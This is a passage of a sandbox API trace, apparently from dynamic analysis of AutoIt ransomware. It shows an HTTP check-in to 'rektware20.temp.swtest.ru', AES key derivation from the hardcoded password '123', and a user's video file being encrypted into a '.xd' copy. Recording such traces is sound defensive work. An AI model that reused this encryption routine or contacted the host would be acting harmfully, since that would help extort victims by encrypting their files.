lpString1="12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.178] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.179] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0066.179] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.179] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0066.179] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0066.179] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.179] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0066.179] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0066.179] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fa0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620fa0, lpdwBufferLength=0x130ee1c) returned 1 [0066.179] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.179] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0066.179] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0066.180] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0066.180] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0066.180] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0066.180] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0066.180] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629490, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629490*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0066.180] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.180] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.180] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0066.180] CloseHandle (hObject=0x0) returned 0 [0066.180] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.180] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0066.181] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0066.181] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.181] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.181] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.181] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.181] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0066.181] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.181] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0066.181] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.181] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.181] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0066.181] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.182] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.182] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.182] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.182] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.182] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0066.182] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0066.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0066.182] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0066.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0066.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0066.183] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0066.183] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa670) returned 1 [0066.184] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.184] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.184] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0066.184] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.184] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.184] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.184] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.184] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.184] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.184] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.185] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.185] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.185] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.185] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.185] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.185] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0066.185] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.185] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.185] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.185] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.185] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.185] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.185] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.185] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.185] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.185] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.185] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.185] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.185] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.186] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.186] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.186] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.186] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.186] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.186] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0066.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214f8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0066.186] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0066.186] CryptCreateHash (in: hProv=0x17aa670, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0066.186] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.186] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.186] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.186] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0066.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629590, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0066.187] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0066.187] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0066.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629550, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0066.187] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.188] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.188] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.188] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0066.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16216f0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0066.189] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0066.189] CryptHashData (hHash=0x164c8f0, pbData=0x1629590, dwDataLen=0x3, dwFlags=0x1) returned 1 [0066.189] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.189] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.189] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.189] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.189] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.189] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.189] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.190] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0066.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621720, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0066.190] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0066.190] CryptDeriveKey (in: hProv=0x17aa670, Algid=0x6610, hBaseData=0x164c8f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164ca30) returned 1 [0066.190] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.190] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.190] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.190] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.190] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.190] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.190] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0066.190] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0066.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0066.191] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0066.191] CryptDestroyHash (hHash=0x164c8f0) returned 1 [0066.191] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.191] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.191] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.191] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.191] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.191] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\12 e75as.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0066.191] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.192] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0066.192] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.192] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.192] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.192] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb")) returned 0x10 [0066.193] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\12 e75as.mkv.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0066.193] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.193] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, 